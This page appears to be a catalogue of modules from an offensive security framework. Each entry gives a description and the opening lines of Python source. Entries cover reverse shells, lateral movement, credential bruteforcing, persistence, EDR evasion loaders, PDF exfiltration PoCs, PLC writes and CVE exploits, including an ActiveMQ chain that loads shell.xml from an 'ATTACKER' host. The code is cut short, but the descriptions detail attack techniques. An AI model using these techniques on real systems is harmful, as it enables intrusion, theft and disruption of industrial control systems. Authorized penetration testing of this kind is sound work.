BLE Notify Capture

Subscribes to GATT notifications/indications and captures values for a timed window !/usr/bin/env python3 -- coding: utf-8 -- """BLE gather — subscribe to notifications/indications and capture traffic.""" from kittysploit import from lib.protocols.ble.blesessionmixin import BleSessionMixin from...

CANBUS OBD-II Query

Queries OBD-II data such as supported PIDs, VIN, custom PID values, and DTCs !/usr/bin/env python3 -- coding: utf-8 -- """ CANBUS OBD-II Query - Sends read-only OBD-II diagnostic queries over a CANBUS session Author: KittySploit Team Version: 1.0.0 """ from kittysploit import from...

CANBUS Session Info

Displays interface, CAN ID, timing, and message statistics for a CANBUS session !/usr/bin/env python3 -- coding: utf-8 -- """ CANBUS Session Info - Displays metadata and statistics for a CANBUS session Author: KittySploit Team Version: 1.0.0 """ from kittysploit import from core.outputhandler...

WinRM Spawn Reverse Shell

From the current WinRM session, open a reverse TCP listener lhost:lport and run a PowerShell stager so the target connects back as a shell session. !/usr/bin/env python3 -- coding: utf-8 -- """ Spawn a reverse TCP shell from an existing WinRM session. Starts a local reverse handler, runs a...

WinRM Lateral Movement

Authenticate to a remote host via WinRM using supplied credentials or credentials from the current session metadata and open a new WinRM session. !/usr/bin/env python3 -- coding: utf-8 -- """ Pivot from an existing WinRM session or supplied credentials to another Windows host over WinRM and...

WinRM Download File

Download a remote file through an active WinRM session pypsrp fetch !/usr/bin/env python3 -- coding: utf-8 -- import os from kittysploit import from lib.protocols.winrm.winrmsessionmixin import WinRMSessionMixin class ModulePost, WinRMSessionMixin: info = "name": "WinRM Download File",...

Metasploitable3 Linux Environment

Metasploitable3 Ubuntu 14.04 lab VM packaged for Docker — intentionally vulnerable Linux target for authorized internal-lab agent benchmarks. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import class ModuleDockerEnvironment: info = "name": "Metasploitable3 Linux Environment",...

Drupal login bruteforce

Bruteforce Drupal /user/login with username/password wordlists. Extracts formbuildid / formtoken and detects success via session cookies SESS/SSESS and redirects away from the login form. !/usr/bin/env python3 -- coding: utf-8 -- """Drupal user/login credential spray — wordlist or single-pair...

Browser Permissions Audit

Query sensitive browser permission states from kittysploit import import json class ModuleBrowserAuxiliary: info = "name": "Browser Permissions Audit", "description": "Query sensitive browser permission states", "author": "KittySploit Team", "browser": Browser.ALL, "platform": Platform.ALL,...

Cisco IOS CMP CVE-2017-3881 telnet exposure

Passive check for CVE-2017-3881 exposure: telnet reachable on a Cisco IOS or IOS XE device. CMP malformed-option handling is tied to telnet session negotiation; confirm patch level separately before exploitation. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Cisco IOS telnet exposure for...

Windows http.sys TLS buffer-ref overflow DoS (CVE-2026-47291)

Streams HTTP/1.1 header lines one per TLS record over HTTPS to grow http.sys UlpReferenceBuffers until the 16-bit capacity wraps 65536 references. Vulnerable pre-patch hosts bugcheck; patched hosts drop the connection cleanly. Requires MaxRequestBytes = 262144 on target. !/usr/bin/env python3 --...

Balbooa Forms CVE-2026-56291 detection

Detects Joomla sites running Balbooa Forms combaforms 2.4.1 vulnerable to CVE-2026-56291 — unauthenticated arbitrary file upload via form.uploadAttachmentFile without CSRF or permission checks. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.http.httpclient...

Modbus write coil

Writes a single Modbus coil FC5 via an active Modbus session !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.ics.icssessionmixin import ModbusSessionMixin class ModulePost, ModbusSessionMixin: info = "name": "Modbus write coil", "description": "Writes a single...

Apache .htaccess Persistence

Writes a persistence payload into an Apache .htaccess file. The file acts as a CGI/PHP shell triggered on HTTP access htshells / wireghoul technique. !/usr/bin/env python3 -- coding: utf-8 -- from future import annotations import os import re from kittysploit import from...

BACnet Who-Is discovery

Sends BACnet/IP Who-Is requests UDP/47808 and collects I-Am responses for BMS / building controller discovery. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.ics.bacnetclient import whois from lib.protocols.ics.constants import ICSPROTOCOLPORTS from...

Apache Tomcat CVE-2026-43512 detection

Fingerprints Apache Tomcat and flags versions affected by CVE-2026-43512 DIGEST authentication bypass: 9.0.x 9.0.118, 10.1.x 10.1.55, 11.0.x 11.0.22, 8.5.x = 8.5.100. !/usr/bin/env python3 -- coding: utf-8 -- import re from typing import Optional, Tuple from kittysploit import from...

Apache ActiveMQ CVE-2026-34197 Jolokia RCE

CVE-2026-34197: authenticated Jolokia exec on org.apache.activemq MBeans allows addNetworkConnector with a crafted vm:// URI that loads remote Spring XML xbean:http://ATTACKER/shell.xml for arbitrary code execution. This module serves shell.xml with an inline base64 JSP webshell, then invokes the...

Apache ActiveMQ CVE-2026-34197 detection

Fingerprints Apache ActiveMQ Classic and flags versions affected by CVE-2026-34197 Jolokia addNetworkConnector RCE: 5.19.4 and 6.0.0 through 6.2.2. !/usr/bin/env python3 -- coding: utf-8 -- import re from typing import Optional, Tuple from kittysploit import from lib.protocols.http.httpclient...

WAF/CDN Fingerprint

Identify WAF or CDN products from response headers and blocking behavior. !/usr/bin/env python3 -- coding: utf-8 -- """Fingerprint WAF/CDN products using benign malicious probes.""" from future import annotations import json from kittysploit import from lib.protocols.http.httpclient import...

Log4Shell Header Detection

Sends safe JNDI-style markers in HTTP headers and detects Log4j-related error reflection CVE-2021-44228 indicator, no outbound callback. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Log4Shell CVE-2021-44228 header injection indicators.""" from kittysploit import from...

Dark Web Mention Hunter

Search authorized breach/darkweb intelligence providers IntelX API for mentions of a domain, email, or keyword. Does not perform direct Tor scraping. from kittysploit import import json import re import time from urllib.parse import urlparse from core.osint.providers import intelxapikey from...

Linux Debian Evasion Packaging

Generate an obfuscated .deb package whose postinst decodes and executes an embedded encrypted ELF loader. Extends debpackaging for stealth delivery. !/usr/bin/env python3 -- coding: utf-8 -- """ Obfuscated Debian package with embedded loader. Builds an encrypted ELF shellcode loader, embeds it...

PostgreSQL Info Detection

Detects PostgreSQL via startup handshake and authentication challenge. !/usr/bin/env python3 -- coding: utf-8 -- """Detect PostgreSQL service via startup handshake.""" from kittysploit import from lib.protocols.tcp.tcpscannerclient import Tcpscannerclient from lib.scanner.postgresql.detectors...

QUIC Download File

Download a remote file from the implant via an active QUIC C2 session !/usr/bin/env python3 -- coding: utf-8 -- import os from kittysploit import from core.framework.failure import FailureType, ProcedureError from lib.protocols.quic.quicsessionmixin import QuicSessionMixin class ModulePost,...

Indirect Windows Syscall Evasion

Generate a Windows x64 EXE that resolves syscall numbers via Hell's Gate hashing and invokes them indirectly through an ntdll syscall gadget. Shellcode is encrypted ChaCha20 or RC4 and base64-encoded. !/usr/bin/env python3 -- coding: utf-8 -- """ Indirect Windows syscall evasion loader...

Open WebUI Detection

Detects Open WebUI config API and login UI. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Open WebUI LLM chat interface.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.scanner.http.responsevalidation import parsejsonresponse, ishtmlresponse class...

Process Hollowing Evasion

Generate a Windows x64 EXE that hollows a suspended process default: notepad.exe, replaces its memory with decrypted shellcode, and resumes the primary thread. !/usr/bin/env python3 -- coding: utf-8 -- """ Process hollowing evasion loader. Creates a suspended child process, unmaps its original...

Linux userfaultfd Evasion Loader

Generate a Linux x64 ELF that uses userfaultfd to lazily resolve encrypted shellcode pages at access time, evading simple memory scans. !/usr/bin/env python3 -- coding: utf-8 -- """ userfaultfd delayed-reveal shellcode loader Linux x64. Maps shellcode with userfaultfd, drops pages from memory, th...

S7 protection level check

Detects Siemens S7 PLCs with weak or missing access protection protection level 1 / no password. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.ics.constants import ICSPROTOCOLPORTS from lib.protocols.ics.icsscannerclient import Icsscannerclient from...

GPP Password Hunter

Search SYSVOL Group Policy Preferences XML files for encrypted cpassword credentials via SMB. !/usr/bin/env python3 -- coding: utf-8 -- """Hunt Group Policy Preferences passwords on SMB SYSVOL.""" from future import annotations import json import os import tempfile from typing import Dict, List...

BACnet Device Inventory

Discover BACnet/IP devices and perform read-only object inventory requests via ReadProperty. !/usr/bin/env python3 -- coding: utf-8 -- """Read-only BACnet device inventory via Who-Is and ReadProperty.""" from kittysploit import from lib.protocols.ics.bacnetclient import objectinventory, whois fro...

Modbus write register

Writes a single holding register over Modbus TCP via an active Modbus session. Supports dry-run mode to validate connectivity without changing the PLC. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.ics.icssessionmixin import ModbusSessionMixin class...

Shell Profile Persistence

Persists a payload in shell startup files: /.bashrc, /.profile, /etc/profile.d/, or a custom profile path. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.post.linux.persistencehelpers import LinuxPersistenceMixin, PERSISTENCEAGENT class ModulePost, LinuxPersistenceMixi...

WebLogic Console Detection

Detects Oracle WebLogic administration console login pages. !/usr/bin/env python3 -- coding: utf-8 -- """Detect exposed Oracle WebLogic console.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name": "WebLogic Console...

Windows ETW Patch

Patch EtwEventWrite in ntdll RET stub inside the current PowerShell process to reduce script telemetry. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.post.windows.session import WindowsSessionMixin ETWPATCHPS = r""" Add-Type @" using System; using...

Vercel Detection

Detects Vercel edge/deploy platform response headers. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Vercel-hosted sites via platform headers.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name": "Vercel Detection",...

Portainer Detection

Detects Portainer API status and web UI exposure. !/usr/bin/env python3 -- coding: utf-8 -- """Detect exposed Portainer container management UI.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name": "Portainer Detection",...

PDF Phone-Home Full Suite

Generate the full KittySploit PDF phone-home suite 70 files with phone-home callbacks for upload-scanner and red-team validation. Covers URI actions, JavaScript, XFA, XXE, UNC/NTLM, and viewer-specific CVE PoCs. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.pdf import...

DNP3 read points

Reads DNP3 binary or analog input points via application-layer READ requests and prints any ASCII metadata found in responses session preferred. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.ics.constants import ICSPROTOCOLPORTS from...

QNX qconn remote command execution

Exploits unauthenticated access to the QNX Neutrino qconn service to execute arbitrary commands as root via the launcher interface TCP/8000. !/usr/bin/env python3 -- coding: utf-8 -- """ QNX qconn remote command execution. Abuses the qconn service on QNX Neutrino default TCP/8000 to spawn a root...

PDF CVE-2018-4993 GoToE NTLM Callback

Generate PDF PoCs for CVE-2018-4993: /GoToE action with UNC path NTLM and HTTPS URL variant. Phone-home validation for Adobe Reader. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.pdf.mixins import PdfCveMixin from lib.pdf.generators.actions import writegotoeunc,...

Spring Cloud Gateway Detection

Detects exposed Spring Cloud Gateway route definitions via Actuator. !/usr/bin/env python3 -- coding: utf-8 -- """Detect exposed Spring Cloud Gateway actuator routes.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.scanner.http.responsevalidation import...

Langflow < 1.9.0 Public Build RCE (CVE-2026-33017)

CVE-2026-33017: Langflow versions below 1.9.0 allow unauthenticated remote code execution by posting a malicious custom component to /api/v1/buildpublictmp/flowid/flow with a clientid session cookie. !/usr/bin/env python3 -- coding: utf-8 -- import json from kittysploit import from...

WordPress Atarim Plugin < 4.2.2 - Sensitive Information Exposure

CVE-2025-60188: Atarim WordPress plugin versions below 4.2.2 expose a site ID via an unauthenticated REST endpoint. That value is used as an HMAC key to forge signed admin-ajax requests and dump site configuration, license keys, and user PII. import hashlib import hmac import json import re from...

PDF CVE-2019-7089 XFA XSLT Callback

Generate PDF PoC for CVE-2019-7089: external XSLT stylesheet reference in XFA stream triggering UNC/HTTP callback on open. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.pdf.mixins import PdfCveMixin from lib.pdf.generators.xfa import writexfaxsltcallback class...

PDF CVE-2014-8453 FormCalc Post Exfil

Generate PDF PoC for CVE-2014-8453: XFA FormCalc Post same-origin policy bypass exfiltrating data to attacker URL. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.pdf.mixins import PdfCveMixin from lib.pdf.generators.xfa import writexfaformcalcpost class ModuleAuxiliary...

HTTP Directory Bruteforce

Bruteforce common web paths using a built-in or custom wordlist. !/usr/bin/env python3 -- coding: utf-8 -- """Bruteforce common web paths and detect interesting HTTP responses.""" from future import annotations import json import urllib.parse from typing import Dict, List from kittysploit import...

Citrix Gateway Detection

Detects Citrix ADC/Gateway VPN and logon pages. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Citrix ADC / Gateway login surfaces.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.scanner.http.responsevalidation import ishtmlresponse class...

Pivot Autoroute

Discover reachable internal subnets from the active session and add framework pivot routes from kittysploit import import ipaddress import re class ModulePost: info = "name": "Pivot Autoroute", "description": "Discover reachable internal subnets from the active session and add framework pivot...

Person to Usernames

Generate likely username candidates from a person's full name, structured name fields, display name, and aliases. !/usr/bin/env python3 -- coding: utf-8 -- """Generate likely usernames from a person's name and aliases.""" from future import annotations import json import os from kittysploit impor...